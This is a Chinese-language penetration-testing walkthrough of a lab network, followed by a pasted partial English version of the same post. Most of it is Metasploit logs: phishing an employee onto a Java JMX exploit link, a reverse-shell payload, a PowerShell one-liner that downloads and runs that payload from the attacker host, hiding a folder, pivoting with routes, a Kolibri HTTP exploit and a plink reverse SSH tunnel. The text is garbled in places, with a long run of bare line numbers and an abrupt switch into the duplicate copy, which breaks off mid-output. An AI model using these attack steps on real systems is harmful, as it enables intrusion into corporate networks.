基于实际场景的架构攻击

前言

我将带你完成基于实际场景的基础架构攻击。
我这样做有两个原因。

  • 我在自己的实验环境在进行的测试,想分享一下
  • 展示如何进入企业内部的网络,

企业环境有两个入口点易受攻击

  • Web Application:网络是很复杂的,有很多方法可以绕过防御(sqli,xss,CSRF,SOAP,文件上传,命令执行等等)
  • 客户端攻击:针对客户端攻击很有效,能力强的攻击者成功率很高。

下面我将演示一台沦陷的机器如何成为进入企业内部网络的切入点。
我会使用很多方法和工具:nmsf,pth,powershell,ssh 转发。

网络架构

  • internet:192.168.44.1/24
  • 企业的网络接口: 192.168.17.1/24

Client:

  • 攻击端–BT5:192.16844.137
  • V1 Client–win7:192.168.44.1和192.168.17.1 双网卡
  • V2 Client – XP SP1:192.168.17.134
  • V3 Client XP SP3:192.168.17.132

一个简单的拓扑图

V1 Client

利用一个java JMX的漏洞去诱使一名企业内部的员工点击。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
msf > search JMX

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/multi/browser/java_jre17_jmxbean 2013-01-10 excellent Java Applet JMX Remote Code
Execution
exploit/multi/http/jboss_bshdeployer 2010-04-26 excellent JBoss JMX Console Beanshell
Deployer WAR Upload and
Deployment
exploit/multi/http/jboss_invoke_deploy 2007-02-20 excellent JBoss DeploymentFileRepository
WAR Deployment (via
JMXInvokerServlet)
exploit/multi/http/jboss_maindeployer 2007-02-20 excellent JBoss JMX Console Deployer
Upload and Execute
exploit/multi/misc/java_rmi_server 2011-10-15 excellent Java RMI Server Insecure
Default Configuration Java
Code Execution


msf exploit(java_jre17_jmxbean) > show options

Module options (exploit/multi/browser/java_jre17_jmxbean):

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the
local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted:
SSL2, SSL3, TLS1)
URIPATH /JavaEveryday no The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_http):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.44.137 yes The local listener hostname
LPORT 8080 yes The local listener port


Exploit target:

Id Name
-- ----
0 Generic (Java Payload)

msf exploit(java_jre17_jmxbean) > exploit
[*] Exploit running as background job.
[*] Started HTTP reverse handler on http://192.168.44.137:8080/
[*] Using URL: http://0.0.0.0:8080/JavaEveryday
[*] Local IP: http://192.168.44.137:8080/JavaEveryday
[*] Server started.

下面要做的就是让没有安全意识的员工去点击我的链接

钓鱼:

这个方法有些粗暴了,一般来说我们可以对链接模糊处理,比如用短链接,然后邮件的来源可靠。
ps:现在有很多支持双因子认证的钓鱼框架,自己github找。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
msf  exploit(java_jre17_jmxbean) > exploit

[*] Exploit running as background job.
[*] Started HTTP reverse handler on http://192.168.44.137:8080/
[*] Using URL: http://0.0.0.0:8080/JavaEveryday
[*] Local IP: http://192.168.44.137:8080/JavaEveryday
[*] Server started.
[*] 192.168.44.1 java_jre17_jmxbean - handling request for /JavaEveryday/
[*] 192.168.44.1:58312 Request received for /favicon.ico...
[*] 192.168.44.1:58312 Unknown request to /favicon.ico GET /favicon.ico HTTP/1.1

Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 192.168.44.137:8080
Connection: Keep-Alive
Content-Length: 0
...

[*] 192.168.44.1 java_jre17_jmxbean - handling request for /JavaEveryday/eHRimLIo.jar
[*] 192.168.44.1 java_jre17_jmxbean - handling request for /JavaEveryday/eHRimLIo.jar
[*] 192.168.44.1:58314 Request received for /INITJM...
[*] Meterpreter session 1 opened (192.168.44.137:8080 -> 192.168.44.1:58314) at 2013-01-18 20:50:07 +0000

msf exploit(java_jre17_jmxbean) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter java/java b33f @ Trident 192.168.17.133:8080 -> 192.168.17.1:53650 (192.168.17.1)

msf exploit(java_jre17_jmxbean) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : Trident
OS : Windows 7 6.1 (x86)
Meterpreter : java/java

meterpreter > getuid
Server username: b33f

meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\b33f\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter VMware Network Adapter VMnet10:

Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::15ce:3f81:aaf6:3173%16
IPv4 Address. . . . . . . . . . . : 192.168.17.1
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :

Ethernet adapter VMware Network Adapter VMnet8:

Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::a504:dea1:5746:e518%17
IPv4 Address. . . . . . . . . . . : 192.168.44.1
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :

从弹回来的session我们可以知道目标是双网卡,可以让我们访问公司内部的其他机器,首先用其他的meterpreter替换现在的java_meterpreter,因为java_meterpreter有些功能用不了。
下面用powershell进行代码执行,然后提升权限。

先搭建一个Web服务,然后用powershell下载payload。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@bt:~/Desktop# /etc/init.d/apache2 start
* Starting web server apache2 [ OK ]

root@bt:~# netstat -atnp |grep apache2
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1467/apache2

root@bt:~# msfpayload windows/shell/reverse_tcp lport=9988 lhost=192.168.44.137 X > /var/www/funz.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 290
Options: {"lport"=>"9988", "lhost"=>"192.168.44.137"}

root@bt:~# locate plink.exe
/pentest/windows-binaries/tools/plink.exe

root@bt:~# cp /pentest/windows-binaries/tools/plink.exe /var/www/

root@bt:~/Desktop# ls -la /var/www/
total 2100
drwxr-xr-x 3 root root 4096 2013-01-18 01:28 .
drwxr-xr-x 16 root root 4096 2011-06-08 14:51 ..
-rw-r--r-- 1 root root 73802 2013-01-18 01:27 funz.exe
-rw-r--r-- 1 root root 177 2011-05-10 17:01 index.html
-rwxrw-rw- 1 root root 1667584 2011-06-30 14:52 ncat.exe
-rwxrw-rw- 1 root root 381816 2010-04-27 12:04 PsExec.exe
drwxr-xr-x 2 root root 4096 2011-05-10 17:01 wstool

除了下载payload,还需要需要下载plink,它是Putty的命令行版本。
用来搭建ssh隧道。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
Ctrl+Z可以将会话放入后台。
然后监听
msf exploit(java_jre17_jmxbean) > use multi/handler

msf exploit(handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp

msf exploit(handler) > set lport 9988
lport => 9988

msf exploit(handler) > set lhost 192.168.44.137
lhost => 192.168.44.137

msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.44.137:9988
[*] Starting the payload handler...

# 回到会话中
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\b33f\Desktop>md EvilHacker
md EvilHacker

# 将文件夹隐藏
C:\Users\b33f\Desktop>attrib +s +h "C:\Users\b33f\Desktop\EvilHacker"
attrib +s +h "C:\Users\b33f\Desktop\EvilHacker"

C:\Users\b33f\Desktop>cd EvilHacker
cd EvilHacker

下载
C:\Users\b33f\Desktop\EvilHacker>cmd /c "PowerShell (New-Object System.Net.WebClient).DownloadFile
('http://192.168.44.137/funz.exe','funz.exe');(New-Object System.Net.WebClient).DownloadFile
('http://192.168.44.137/plink.exe','plink.exe');Start-Process 'funz.exe'"

# 得到一个新的shell

[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.44.1

C:\Users\b33f\Desktop\EvilHacker>^Z
Background channel 1? [y/N] y

meterpreter >
Background session 1? [y/N] y

msf exploit(handler) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter java/java b33f @ Trident 192.168.44.137:8080 -> 192.168.44.1:58314 (192.168.44.1)
2 shell windows 192.168.44.137:9988 -> 192.168.44.1:58736 (192.168.44.1)


# 使用session -u 2 将shell升级到正确的session中

msf exploit(handler) > sessions -u 2

[*] Started reverse handler on 192.168.44.137:9988
[*] Starting the payload handler...
[*] Command Stager progress - 1.66% done (1699/102108 bytes)
[*] Command Stager progress - 3.33% done (3398/102108 bytes)
[*] Command Stager progress - 4.99% done (5097/102108 bytes)
[*] Command Stager progress - 6.66% done (6796/102108 bytes)
[...Snip...]
[*] Command Stager progress - 96.51% done (98542/102108 bytes)
[*] Command Stager progress - 98.15% done (100216/102108 bytes)
[*] Command Stager progress - 99.78% done (101888/102108 bytes)
[*] Command Stager progress - 100.00% done (102108/102108 bytes)

msf exploit(handler) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter java/java b33f @ Trident 192.168.44.137:8080 -> 192.168.44.1:58314 (192.168.44.1)
2 shell windows 192.168.44.137:9988 -> 192.168.44.1:58736 (192.168.44.1)
3 meterpreter x86/win32 Trident\b33f @ TRIDENT 192.168.44.137:9988 -> 192.168.44.1:58770 (192.168.44.1)

# kill掉不需要的
msf exploit(handler) > sessions -k 1
[*] Killing session 1
[*] 192.168.44.1 - Meterpreter session 1 closed.

msf exploit(handler) > sessions -k 2
[*] Killing session 2
[*] 192.168.44.1 - Command shell session 2 closed.

# 运行arp扫描然后添加路由
eterpreter > run arp_scanner -r 192.168.17.1/24
[*] ARP Scanning 192.168.17.1/24
[*] IP: 192.168.17.1 MAC 00:50:56:c0:00:01
[*] IP: 192.168.17.134 MAC 00:0c:29:33:39:21
[*] IP: 192.168.17.132 MAC 00:0c:29:71:74:f7

msf exploit(handler) > route add 192.168.17.1 255.255.255.0 3
[*] Route added

msf exploit(handler) > route print

Active Routing Table
====================

Subnet Netmask Gateway
------ ------- -------
192.168.17.1 255.255.255.0 Session 3

V2 webserver

nmap扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
msf  exploit(handler) > nmap -sS -T5 -v 192.168.17.134
[*] exec: nmap -sS -T5 -v 192.168.17.134

Starting Nmap 5.51SVN ( http://nmap.org ) at 2013-01-18 21:25 GMT
Initiating Ping Scan at 21:25
Scanning 192.168.17.134 [3 ports]
Completed Ping Scan at 21:25, 0.01s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 21:25
Completed Parallel DNS resolution of 1 host. at 21:25, 0.03s elapsed
Initiating SYN Stealth Scan at 21:25
Scanning 192.168.17.134 [1000 ports]
Discovered open port 135/tcp on 192.168.17.134
Discovered open port 8080/tcp on 192.168.17.134
Discovered open port 1025/tcp on 192.168.17.134
Discovered open port 139/tcp on 192.168.17.134
Discovered open port 445/tcp on 192.168.17.134
Discovered open port 5000/tcp on 192.168.17.134
Completed SYN Stealth Scan at 21:25, 3.28s elapsed (1000 total ports)
Nmap scan report for 192.168.17.134
Host is up (1.0s latency).

PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
5000/tcp open upnp
8080/tcp open http-proxy
MAC Address: 00:0C:29:33:39:21 (VMware)

Read data files from: /opt/framework/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 3.53 seconds
Raw packets sent: 1527 (67.164KB) | Rcvd: 543 (21.744KB)

有一个很老的Kolibri HTTP Server
msf内置有相关的模块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
msf  exploit(handler) > use exploit/windows/http/kolibri_http

msf exploit(kolibri_http) > set rhost 192.168.17.134
rhost => 192.168.17.134

msf exploit(kolibri_http) > set rport 8080
rport => 8080

# 这里要正向去连接目标

msf exploit(kolibri_http) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp

msf exploit(kolibri_http) > show options

Module options (exploit/windows/http/kolibri_http):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST 192.168.17.134 yes The target address
RPORT 8080 yes The target port
VHOST no HTTP server virtual host


Payload options (windows/meterpreter/bind_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique: seh, thread, process, none
LPORT 4444 yes The listen port
RHOST 192.168.17.134 no The target address


Exploit target:

Id Name
-- ----
0 Windows XP sp3

msf exploit(kolibri_http) > exploit

msf exploit(handler) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
3 meterpreter x86/win32 Trident\b33f @ TRIDENT 192.168.44.137:9988
-> 192.168.44.1:58770 (192.168.44.1)
4 meterpreter x86/win32 B33F-URLVV9CUV5\user1 @ B33F-URLVV9CUV5 192.168.44.137-192.168.44.1:0
-> 192.168.17.134:4444 (192.168.17.134)

msf exploit(handler) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > getuid
Server username: B33F-URLVV9CUV5\user1

meterpreter > sysinfo
Computer : B33F-URLVV9CUV5
OS : Windows XP (Build 2600, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32

# Seems like user1 is a low privilege user and won't be able to give us SYSTEM level access to the box

meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied.

可以使用search exploit/windows/local,找一些本地提权的模块,或者使用MS08_067,下面搭建ssh隧道。因为V1可以连接到我的机器,也可以连接到目标内网。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
# 启动ssh
root@bt:~# /etc/init.d/ssh start
Rather than invoking init scripts through /etc/init.d, use the service(8)
utility, e.g. service ssh start

Since the script you are attempting to invoke has been converted to an
Upstart job, you may also use the start(8) utility, e.g. start ssh
ssh start/running, process 4985

# 启动ssh隧道
# Tunnel Syntax: plink -l username -pw "password" -R attacker_port:victim_ip:victim_port attacker_ip

C:\Users\b33f\Desktop\EvilHacker>plink -l root -pw "s3cr3tpa$$word" -R 445:192.168.17.134:445 192.168.44.137
plink -l root -pw "s3cr3tpa$$word" -R 445:192.168.17.134:445 192.168.44.137


V1 Client Side Foothold
Like I said before sophisticated attackers have had great success at using client side attacks to gain entry to the corporate network. Exploits such as the recent Java JMX bug offer such powerful weapons to the attacker with remote code execution across multiple browsers and operating systems. A regular user may easily be tricked into browsing to a malicious link if he/she thinks the sender is trusted or is properly motivated. Time to launch our attack on the corporate network. First we will serve up the Java JMX exploit on our attackers box and then we will try to entice a poor employee to visit our malicious website.

msf > search JMX

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/multi/browser/java_jre17_jmxbean 2013-01-10 excellent Java Applet JMX Remote Code
Execution
exploit/multi/http/jboss_bshdeployer 2010-04-26 excellent JBoss JMX Console Beanshell
Deployer WAR Upload and
Deployment
exploit/multi/http/jboss_invoke_deploy 2007-02-20 excellent JBoss DeploymentFileRepository
WAR Deployment (via
JMXInvokerServlet)
exploit/multi/http/jboss_maindeployer 2007-02-20 excellent JBoss JMX Console Deployer
Upload and Execute
exploit/multi/misc/java_rmi_server 2011-10-15 excellent Java RMI Server Insecure
Default Configuration Java
Code Execution


msf exploit(java_jre17_jmxbean) > show options

Module options (exploit/multi/browser/java_jre17_jmxbean):

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the
local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be used (accepted:
SSL2, SSL3, TLS1)
URIPATH /JavaEveryday no The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_http):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.44.137 yes The local listener hostname
LPORT 8080 yes The local listener port


Exploit target:

Id Name
-- ----
0 Generic (Java Payload)

msf exploit(java_jre17_jmxbean) > exploit
[*] Exploit running as background job.
[*] Started HTTP reverse handler on http://192.168.44.137:8080/
[*] Using URL: http://0.0.0.0:8080/JavaEveryday
[*] Local IP: http://192.168.44.137:8080/JavaEveryday
[*] Server started.



All we need to do now is trick the unsuspecting user (V1) into browsing to our website.






Obviously this crude attempt won't get us very far but you get the idea right. A motivated attacker can obfuscate the link and craft a mail that looks like it comes from a trusted source or supply a seemingly compelling reason to visit the website. This will be the starting point for our infrastructure scenario.

msf exploit(java_jre17_jmxbean) > exploit

[*] Exploit running as background job.
[*] Started HTTP reverse handler on http://192.168.44.137:8080/
[*] Using URL: http://0.0.0.0:8080/JavaEveryday
[*] Local IP: http://192.168.44.137:8080/JavaEveryday
[*] Server started.
[*] 192.168.44.1 java_jre17_jmxbean - handling request for /JavaEveryday/
[*] 192.168.44.1:58312 Request received for /favicon.ico...
[*] 192.168.44.1:58312 Unknown request to /favicon.ico GET /favicon.ico HTTP/1.1

Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Host: 192.168.44.137:8080
Connection: Keep-Alive
Content-Length: 0
...

[*] 192.168.44.1 java_jre17_jmxbean - handling request for /JavaEveryday/eHRimLIo.jar
[*] 192.168.44.1 java_jre17_jmxbean - handling request for /JavaEveryday/eHRimLIo.jar
[*] 192.168.44.1:58314 Request received for /INITJM...
[*] Meterpreter session 1 opened (192.168.44.137:8080 -> 192.168.44.1:58314) at 2013-01-18 20:50:07 +0000

msf exploit(java_jre17_jmxbean) > sessions -l

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter java/java b33f @ Trident 192.168.17.133:8080 -> 192.168.17.1:53650 (192.168.17.1)

msf exploit(java_jre17_jmxbean) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : Trident
OS : Windows 7 6.1 (x86)
Meterpreter : java/java

meterpreter > getuid
Server username: b33f

meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\b33f\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter VMware Network Adapter VMnet10:

Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::15ce:3f81:aaf6:3173%16
IPv4 Address. . . . . . . . . . . : 192.168.17.1
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :

Ethernet adapter VMware Network Adapter VMnet8:

Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::a504:dea1:5746:e518%17
IPv4 Address. . . . . . . . . . . : 192.168.44.1
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :



As we can see from the meterpreter session our host is dual-homed and will likely give us access to additional non routable hosts on the corporate network. First however we are going to replace our existing java_meterpreter with a proper meterpreter. As some of you will know the java_meterpreter doesn't contain all the available functionality. It also gives me the opportunity to showcase to cool tricks: (1) Inline poweshell code execution and (2) metasploit session upgrading. First we will set up a web server to host our shell and then we will use powershell to download and execute our payload.

root@bt:~/Desktop# /etc/init.d/apache2 start
* Starting web server apache2 [ OK ]

root@bt:~# netstat -atnp |grep apache2
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1467/apache2

root@bt:~# msfpayload windows/shell/reverse_tcp lport=9988 lhost=192.168.44.137 X > /var/www/funz.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 290
Options: {"lport"=>"9988", "lhost"=>"192.168.44.137"}

root@bt:~# locate plink.exe
/pentest/windows-binaries/tools/plink.exe

root@bt:~# cp /pentest/windows-binaries/tools/plink.exe /var/www/

root@bt:~/Desktop# ls -la /var/www/
total 2100
drwxr-xr-x 3 root root 4096 2013-01-18 01:28 .
drwxr-xr-x 16 root root 4096 2011-06-08 14:51 ..
-rw-r--r-- 1 root root 73802 2013-01-18 01:27 funz.exe
-rw-r--r-- 1 root root 177 2011-05-10 17:01 index.html
-rwxrw-rw- 1 root root 1667584 2011-06-30 14:52 ncat.exe
-rwxrw-rw- 1 root root 381816 2010-04-27 12:04 PsExec.exe
drwxr-xr-x 2 root root 4096 2011-05-10 17:01 wstool



In addition to our payload we will also be uploading plink.exe which is a command line version of Putty which will allow us to create shh tunnels in and out of the corporate network should we need them.

# First we will background our meterpreter session (Ctrl+Z) till we drop back into msfconsole and set up a
# listener for our payload.

msf exploit(java_jre17_jmxbean) > use multi/handler

msf exploit(handler) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp

msf exploit(handler) > set lport 9988
lport => 9988

msf exploit(handler) > set lhost 192.168.44.137
lhost => 192.168.44.137

msf exploit(handler) > exploit -j
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.44.137:9988
[*] Starting the payload handler...

# Ok now lets log back into our original meterpreter sessions and use powershell to download our files
# and execute our payload.

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\b33f\Desktop>md EvilHacker
md EvilHacker

# This will make the folder hidden and won't even show up if "Show Hidden Files and Folders" option is
# enabled.

C:\Users\b33f\Desktop>attrib +s +h "C:\Users\b33f\Desktop\EvilHacker"
attrib +s +h "C:\Users\b33f\Desktop\EvilHacker"

C:\Users\b33f\Desktop>cd EvilHacker
cd EvilHacker

# This is all in one line

C:\Users\b33f\Desktop\EvilHacker>cmd /c "PowerShell (New-Object System.Net.WebClient).DownloadFile
('http://192.168.44.137/funz.exe','funz.exe');(New-Object System.Net.WebClient).DownloadFile
('http://192.168.44.137/plink.exe','plink.exe');Start-Process 'funz.exe'"

# We immediately get notified of the incoming shell by our handler.

[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.44.1

C:\Users\b33f\Desktop\EvilHacker>^Z
Background channel 1? [y/N] y

meterpreter >
Background session 1? [y/N] y

msf exploit(handler) > sessions

Active sessions
===============

Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter java/java b33f @ Trident 192.168.44.137:8080 -> 192.168.44.1:58314 (192.168.44.1)
2 shell windows 192.168.44.137:9988 -> 192.168.44.1:58736 (192.168.44.1)

# We can use the "sessions -u" option to upgrade our shell to a proper meterpreter session.

msf exploit(handler) > sessions -u 2

[*] Started reverse handler on 192.168.44.137:9988
[*] Starting the payload handler...
[*] Command Stager progress - 1.66% done (1699/102108 bytes)
[*] Command Stager progress - 3.33% done (3398/102108 bytes)
[*] Command Stager progress - 4.99% done (5097/102108 bytes)
[*] Command Stager progress - 6.66% done (6796/102108 bytes)
[...Snip...]
[*] Command Stager progress - 96.51% done (98542/102108 bytes)
[*] Command Stager progress - 98.15% done (100216/102108 bytes)
[*] Command Stager progress - 99.78% done (101888/102108 bytes)
